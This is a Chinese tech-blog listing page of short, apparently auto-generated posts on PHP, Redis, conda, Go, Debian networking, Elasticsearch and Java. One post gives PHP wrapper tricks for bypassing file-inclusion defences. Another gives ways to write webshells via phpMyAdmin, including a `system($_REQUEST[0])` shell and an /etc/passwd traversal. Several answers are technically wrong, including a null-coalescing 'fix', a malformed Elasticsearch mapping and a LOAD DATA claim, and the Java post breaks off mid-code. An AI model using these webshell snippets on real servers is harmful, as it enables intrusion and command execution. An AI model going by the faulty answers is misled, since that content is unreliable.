分类后端技术下的文章

2024-08-13

在Windows 11上使用phpStudy Pro和PHP 8.2安装Redis扩展的步骤如下：

下载Redis扩展：
访问PECL官方网站（https://pecl.php.net/），搜索Redis扩展并下载与PHP 8.2兼容的版本。
解压缩下载的扩展包。
打开phpStudy Pro的安装目录，找到对应的PHP版本子目录（例如，对于PHP 8.2，子目录可能是 php-8.2.x-nts-Win32-vs16）。
将解压缩的Redis扩展文件夹复制到 php-8.2.x-nts-Win32-vs16 目录下的 ext 文件夹中。
打开文本编辑器，如记事本，并创建或编辑 php.ini 文件。该文件通常位于PHP安装目录的根目录。
在 php.ini 文件中，添加以下行：
```
extension=redis
```
如果有多个扩展目录，确保指定正确的目录。
保存并关闭 php.ini 文件。
重启phpStudy Pro以应用更改。
打开浏览器并访问phpStudy Pro的“网站”面板，选择你的网站，然后点击“管理”按钮。
在打开的命令行窗口中，运行以下命令检查Redis扩展是否安装成功：
```
php --ri redis
```

如果安装正确，你将看到Redis扩展的信息输出。如果出现错误，请检查步骤4到7，确保 php.ini 文件配置正确，并且扩展文件夹和文件结构是正确的。

2024-08-13

错误解释：

这个错误表明你尝试在一个不存在（null）的对象实例上调用getOriginalExtension()方法。在PHP中，这通常发生在你尝试访问一个未初始化或已被设置为null的对象属性时。

解决方法：

确认对象在调用getOriginalExtension()方法前已被正确初始化。
检查代码中是否有条件分支，在这些分支中对象可能未被正确赋值。
使用空合并操作符??来避免调用null对象的方法，例如：($object->getOriginalExtension() ?? 'default')。
在调用方法前，使用isset()或!empty()检查对象是否已经被初始化。

示例代码：




if (isset($object) && $object !== null) {
    $extension = $object->getOriginalExtension();
} else {
    // 处理对象为null的情况
}

或者使用空合并操作符：




$extension = $object->getOriginalExtension() ?? 'default_extension';

Linux系统利用conda更改gcc、g++版本(非root用户)

2024-08-13

在Linux系统中，如果你想要通过conda来更改gcc和g++的版本，你可以使用conda的compiler_staged功能。以下是步骤和示例代码：

创建一个新的conda环境并指定gcc和g++的版本。
激活这个环境。

示例代码：




# 创建一个新的conda环境，并指定gcc和g++的版本
conda create -n myenv gcc_linux-64 g++_linux-64
 
# 激活这个环境
conda activate myenv

在这个环境中，gcc和g++的路径已经被修改为指向conda为你安装的对应版本的编译器。你可以通过运行gcc --version和g++ --version来确认版本已经更改。

请注意，这种方法不会修改全局的gcc和g++版本，只在conda环境中更改。如果你需要在全局范围内更改版本，你可能需要使用系统级别的包管理器（如apt-get或yum）来更新gcc和g++。

2024-08-13




<?php
// 方法一：使用php://filter读取源代码
$file = $_GET['file'];
$file = str_replace("php://", "", $file);
$content = file_get_contents("php://filter/resource=".$file);
echo $content;
 
// 方法二：使用data://wrapper来执行PHP代码
$data = $_GET['data'];
$content = file_get_contents("data://text/plain;base64,".base64_encode($data));
echo $content;
 
// 方法三：使用zip://wrapper来读取.zip文件中的PHP代码
$zip = $_GET['zip'];
$content = file_get_contents("zip://".$zip."#php.txt");
echo $content;
?>

这段代码演示了利用不同的协议来绕过文件包含漏洞的防护措施。在实际应用中，应当确保对用户输入的文件名和路径进行严格的过滤和验证，避免潜在的安全风险。

PHP转Go实践：xjson解析神器「开源工具集」

2024-08-13




package main
 
import (
    "encoding/json"
    "fmt"
    "log"
)
 
// 定义一个结构体来映射JSON数据
type Person struct {
    Name string `json:"name"`
    Age  int    `json:"age"`
}
 
func main() {
    // 创建一个Person实例
    person := Person{
        Name: "John Doe",
        Age:  30,
    }
 
    // 序列化为JSON
    jsonBytes, err := json.Marshal(person)
    if err != nil {
        log.Fatalf("JSON marshaling failed: %s", err)
    }
    jsonStr := string(jsonBytes)
 
    // 打印序列化后的JSON字符串
    fmt.Printf("JSON representation: %s\n", jsonStr)
 
    // 反序列化JSON到结构体
    var p Person
    if err := json.Unmarshal(jsonBytes, &p); err != nil {
        log.Fatalf("JSON unmarshaling failed: %s", err)
    }
 
    // 打印反序列化后的结构体内容
    fmt.Printf("Back to Go: name: %s, age: %d\n", p.Name, p.Age)
}

这段代码展示了如何在Go中使用encoding/json包来处理JSON数据。首先定义了一个结构体Person来映射JSON数据，然后创建了一个Person实例，将其序列化为JSON字符串，并打印出来。接着，代码演示了如何将JSON字符串反序列化回Person结构体实例，并打印出结构体内容。这个过程展示了Go语言中处理JSON的基本方法。

phpadmin写shell的四种方式

2024-08-13

在PHP中通过phpMyAdmin写Shell的方法主要有以下四种：

利用文件包含漏洞：
文件包含漏洞是指应用程序在处理文件时，没有正确地处理文件名，允许攻击者通过修改文件名包含并执行恶意文件。
示例代码：
```
<?php
$file = $_GET['file'];
include($file);
?>
```
攻击者可以通过修改URL的file参数来包含任何文件，例如http://example.com/script.php?file=../../../../etc/passwd。
利用数据库导入：
如果phpMyAdmin配置不当，攻击者可以通过数据库导入功能执行任意SQL语句或写入WebShell。
示例代码：
```
LOAD DATA INFILE '/path/to/shell.php' INTO TABLE `your_table_name`;
```
利用二进制数据注入：
二进制数据注入是指在处理二进制数据时，没有正确地处理数据，允许攻击者注入恶意的二进制数据。
示例代码：
```
<?php
$data = pack('H*', $_GET['hex']);
file_put_contents('shell.php', $data);
?>
```
攻击者可以通过提供一个hex参数，其值为恶意文件的十六进制表示，例如http://example.com/script.php?hex=3c3f7068700a6563686f206f626a65637428297b2466696c652e67657428293b7d。
利用PHP代码执行：
如果服务器配置不当，可以直接上传PHP文件或通过修改.htaccess文件来执行PHP代码。
示例代码：
```
<?php
file_put_contents('shell.php', '<?php system($_REQUEST[0]); ?>');
?>
```
攻击者可以通过提交请求来执行任意命令。

注意：以上方法需要有对目标服务器的足够访问权限，通常是数据库管理员或具有足够权限的用户。在实际环境中，应该采取措施加强对phpMyAdmin的访问控制，使用强密码，定期更新，并确保服务器软件（如PHP、MySQL）及时更新补丁。

Debian/Linux 配置网络教程(包括配置IP)

2024-08-13

在Debian/Linux系统中配置网络通常涉及到修改/etc/network/interfaces文件或使用netplan（取决于Debian版本）。以下是一个基本的配置静态IP地址的例子：

对于较老的Debian版本，编辑/etc/network/interfaces：




sudo nano /etc/network/interfaces

在该文件中，你可能会看到类似下面的内容：




# The loopback network interface
auto lo
iface lo inet loopback
 
# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    gateway 192.168.1.1
    dns-nameservers 8.8.8.8 8.8.4.4

在这个例子中，eth0是网络接口名称，static指定了静态IP地址配置，其他行配置了IP地址、子网掩码、网关和DNS服务器地址。

保存文件并退出编辑器后，重启网络服务：




sudo /etc/init.d/networking restart

或者重启相关接口：




sudo ifdown eth0 && sudo ifup eth0

对于使用netplan的较新Debian版本，你需要编辑/etc/netplan/01-netcfg.yaml（文件名可能不同，但通常是01-netcfg.yaml）：




sudo nano /etc/netplan/01-netcfg.yaml

在该文件中，你可以配置网络如下：




network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.1.100/24
      gateway4: 192.168.1.1
      nameservers:
          addresses: [8.8.8.8, 8.8.4.4]

保存文件并退出编辑器后，应用配置：




sudo netplan apply

这些步骤会配置你的Debian/Linux系统以使用静态IP地址。记得替换示例中的IP地址和子网掩码为你自己的配置。

2024-08-13




# 安装Apache服务
sudo apt-get update
sudo apt-get install apache2
 
# 安装PHP及必要的模块
sudo apt-get install php libapache2-mod-php php-mysql
 
# 重启Apache服务
sudo systemctl restart apache2
 
# 验证安装
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/phpinfo.php
 
# 浏览器访问 http://your_server_ip/phpinfo.php 查看PHP信息

以上脚本提供了在Ubuntu系统上安装Apache服务器、PHP及必要的Apache PHP模块的步骤。安装完成后，重启Apache服务，并创建一个phpinfo页面以确认PHP安装无误。

Elasticsearch：使用 semantic_text 简化语义搜索

2024-08-13

所有,elasticsearch




PUT /my_index
{
  "mappings": {
    "properties": {
      "text": {
        "type": "text",
        "fields": {
          "semantic_text": {
            "type": "text",
            "analyzer": "semantic_analyzer"
          }
        }
      }
    },
    "settings": {
      "analysis": {
        "analyzer": {
          "semantic_analyzer": {
            "tokenizer": "standard",
            "filter": [
              "lowercase",
              "stop",
              "stemmer_override",
              "kstem",
              "reverse",
              "word_delimiter",
              "stemmer"
            ]
          }
        },
        "filter": {
          "stemmer_override": {
            "type": "stemmer_override",
            "rules_path": "analysis/stemmer_override.txt"
          },
          "stemmer": {
            "type": "stemmer",
            "language": "english"
          }
        }
      }
    }
  }
}

这个代码示例演示了如何在Elasticsearch中定义一个包含语义分析的字段semantic_text。它使用了自定义的分析器semantic_analyzer，该分析器包含一系列的分词器和过滤器来进行语义处理。在此示例中，我们使用了stemmer_override来提供特定词汇的词干形式的例外，kstem用于将复数形式还原到单数形式，reverse用于将词汇反转以捕获类似词的查询，word_delimiter用于更好地处理词的变形（例如，将"jumping"转换为"jump"），以及stemmer提供了英语的词干分析能力。这样，在搜索时，可以同时对原始文本和语义文本进行查询，以提供更广泛的匹配性。

java干货浅拷贝和深拷贝

2024-08-13

所有,java

浅拷贝（Shallow Copy）：

浅拷贝是对对象的引用的复制，并不是对对象的复制。如果原对象的属性是基本数据类型，则复制的对象和原对象属性相互独立，改变一个不会影响另一个。如果原对象的属性是非基本数据类型（对象、数组等），则复制的对象和原对象的属性指向同一内存地址，改变其中一个对象的属性会影响另一个对象的属性。

Java中实现浅拷贝的方法：

对于数组，可以通过Arrays.copyOf()方法。
对于集合，可以使用集合的addAll()方法。

深拷贝（Deep Copy）：

深拷贝是对对象的完全复制，包括对象内部的所有对象，数组等属性。改变复制的对象不会影响原对象。

Java中实现深拷贝的方法：

对于每一个对象属性，都进行复制（如果是基本数据类型，直接复制，如果是对象，则递归复制该对象）。
使用序列化（Serialization）方法。
使用第三方库，如Apache Commons Lang的SerializationUtils。

示例代码：




// 浅拷贝示例
public class ShallowCopyExample {
    public static void main(String[] args) {
        // 原始对象
        Person original = new Person("John", new Address("123 Main St", "Anytown", "CA"));
 
        // 浅拷贝
        Person shallowCopy = shallowCopy(original);
 
        // 修改原始对象的非基本类型属性
        original.getAddress().setStreet("456 Main St");
 
        // 输出结果，可以看到浅拷贝对象的属性也被修改了
        System.out.println("Original: " + original);
        System.out.println("Shallow Copy: " + shallowCopy);
    }
 
    private static Person shallowCopy(Person original) {
        Person copy = new Person(original.getName(), original.getAddress());
        return copy;
    }
}
 
// 深拷贝示例
public class DeepCopyExample {
    public static void main(String[] args) {
        // 原始对象
        Person original = new Person("John", new Address("123 Main St", "Anytown", "CA"));
 
        // 深拷贝
        Person deepCopy = deepCopy(original);
 
        // 修改原始对象的非基本类型属性
        original.getAddress().setStreet("456 Main St");
 
        // 输出结果，可以看到深拷贝对象的属性没有被修改
        System.out.println("Original: " + original);
        System.out.println("Deep Copy: " + deepCopy);
    }
 
    private static Person deepCopy(Person original) {
        Person copy = new Person(original.getName(), new Address(original.getAddress().getStreet(), original.getAddress().getCity(), original.getAddress().getState()));
        return copy;
    }
}
 
class Person {
    private String name;
    private Address address;
 
    // 构造函数、getter和setter省略
 
    public Person(String name, Address address) {
        this.name = name;
        this.address = address;